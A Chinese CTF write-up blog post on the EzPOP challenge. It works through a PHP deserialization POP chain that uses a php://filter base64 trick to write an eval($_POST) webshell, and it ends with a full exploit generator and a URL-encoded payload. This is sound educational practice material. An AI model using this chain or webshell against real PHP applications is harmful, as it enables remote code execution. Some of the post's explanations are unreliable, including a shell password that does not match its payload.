[EIS 2019]EzPOP 完整题解

题目源码

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

分析

public function __destruct() {
    if (!$this->autosave) {   //入口,设置autosave=false;  !假=真
        $this->save();        //进入save();
    }
}
public function save() {
    $contents = $this->getForStorage();  //进入getForStorage()方法
    $this->store->set($this->key, $contents, $this->expire);   
    //设置store为B类,进入new B()的set方法,将key,contents,expire传过去
}

先看A类的getForStorage()方法

public function getForStorage() {
    $cleaned = $this->cleanContents($this->cache);  
    //进入cleanContents()方法,cache肯定是为array数组,不然传不了值
    return json_encode([$cleaned, $this->complete]); 
    //将$complete传入数值后会进行json加密并返回到cleanContents()的数组里
    //这里是要传入一句话木马的,可以在本地测试,自己一测就发现完全无大碍照样传马,网上说是base64解码的特性
}
<?php
//测试
$contents = array();
$complete= base64_encode('<?php @eval($_POST["a"]);?>');
echo base64_decode(json_encode([$contents,$complete]));
//输出<?php @eval($_POST["a"]);?>
public function cleanContents(array $contents) {  //传进来的$cache数组替换为$contents
    $cachedProperties = array_flip([    //乱七八糟的
        'path', 'dirname', 'basename', 'extension', 'filename',
        'size', 'mimetype', 'visibility', 'timestamp', 'type',
    ]);

    foreach ($contents as $path => $object) { //覆盖变量
        if (is_array($object)) {   //判断contents传进来的否为数组
            $contents[$path] = array_intersect_key($object, $cachedProperties);  
            //网上:array_intersect_key方法取两个数组的交集
        }
    }

    return $contents;  //返回你的base64编码的马儿
}

返回到哪?首先把上面的整理一下

A类的POC

A::__destruct->save()->getForStorage()->cleanStorage()

public function __construct() {
	$this->autosave=false;  //__destruct  !0=1
	$this->store = new B(); //save() 进入B类
	$this->key ='shell.php';//save() 传过去对应的$name
	$this->complete=base64_encode("xxx".base64_encode('<?php @eval($_POST["xg"]);?>')); 
    //save() 传过去对应的$value,这里为什么前面要加'xxx',在后面B类的时候会说,注意这里编码了两次base64
	$this->expire;          //save() 这个随便传不传值,传过去也是对应着null
	$this->cache=array();   //getForStorage()  必须是数组
}

把$key传入了B类的set()方法的$name->最终传入了B类的set()方法的$filename

把$contents返回到了save()的$value->最终传入了B类的set()方法的$data

接着看进入B类的set()方法

肯定是先看最终到了哪里?

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

这个之前发过类似的博客绕过死亡exit()

WMCTF2020 web之web_checkin完整题解_小古yyds的博客-CSDN博客

<?php exit();?> .$data;       //用php伪协议就可以绕过了

那就让$filename 为php伪协议,传入shell.php

php://filter/write=convert.base64-decode/resource=shell.php

这样就可以把我们传进去的$data进行解码了,上面做了演示用base64加密后再解密的一句话马儿可以忽略json_encode输出我们想要的值,这里就不能用上次的UCS-2编码和str_rot13编码方式了,因为有json_encode会乱码,学会本地测试活学活用!

好了,继续进入set()方法看看会调用哪些函数

public function set($name, $value, $expire = null): bool{
    $this->writeTimes++;

一行行详细分析

        if (is_null($expire)) {  //判断A类传进来的$expire是不是null
            $expire = $this->options['expire'];  
            //options['expire']可控 但没什么用
            //因为最后到$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
            //这个$expire管它是什么,不妨碍我们构造$data马儿
        }
        $expire = $this->getExpireTime($expire);  //$expire 无意义
        $filename = $this->getCacheKey($name);	  //分析一下getCacheKey()方法

getCacheKey(string $name)方法中的options['prefix']可控

public function getCacheKey(string $name): string { //$name='shell.php'
    return $this->options['prefix'] . $name; 
    //这里就可以构造php://filter/write=convert.base64-decode/resource= 跟后面的$name拼接在一起
}

继续往下分析

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        
$dir = "uploads/";
if (!is_dir($dir))
{
    mkdir($dir);
}

这个就是判断当前目录有没有uploads这个文件夹,没有就创建,并且给0755权限,继续往下

$data = $this->serialize($value); //分析一下serialize()方法

首先是将$value转为string($data)

serialize()方法的options['serialize']可控,想到前面传进来的马儿是base64编码两次的,需要解码一次,才能用php伪协议再解码一次

设置options['serialize'] = 'base64_decode' 就可以base64解码$data

 protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }
        $serialize = $this->options['serialize'];  //options['serialize']='base64_decode'
        return $serialize($data);
    }

继续往下看,又找到可控的options['data_compress'],将值设置为false,因为 假&&假 == 真

gzcompress这个方法压根不存在,options['data_compress']=false

if ($this->options['data_compress'] && function_exists('gzcompress')) { 
    //options['data_compress'] = false
        
        $data = gzcompress($data, 3);   
        //这里会提取前三个字符串进行压缩,也就是A类为什么要前面多加上’xxx’的原因,为了不干扰我们构造的base64编码后的马儿
    }
    
    $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
    $result = file_put_contents($filename, $data);  //写入马儿成功

B类的POC

B::set()->getExpireTime()、getCacheKey()、serialize()->file_put_contents写马

function __construct(){
	$this->options['serialize'] = 'base64_decode';
    $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
    $this->options['data_compress'] = false;
}

慢慢看,你会头脑清晰的

最终的POC(A类和B类合在一起)

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

public function __construct() {
	$this->autosave=false;
	$this->store = new B();
	$this->key ='shell.php';
	$this->complete=base64_encode("xxx".base64_encode('<?php @eval($_POST["a"]);?>')); 
	$this->expire;
	$this->cache=array();
}

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {
	function __construct(){
	$this->options['serialize'] = 'base64_decode';
    $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
    $this->options['data_compress'] = false;
}

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}



$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}

echo urlencode(serialize(new A()));

传入data参数

data=O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3Bs%3A8%3A%22complete%22%3Bs%3A52%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKaElsMHBPejgr%22%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7D%7D

访问http://32cf236f-3c8f-4126-bbeb-1e4bfcf18707.node4.buuoj.cn:81/shell.php 密码xg

flag{97e93c41-12df-4f12-9151-4511e4b14b65}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小古_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值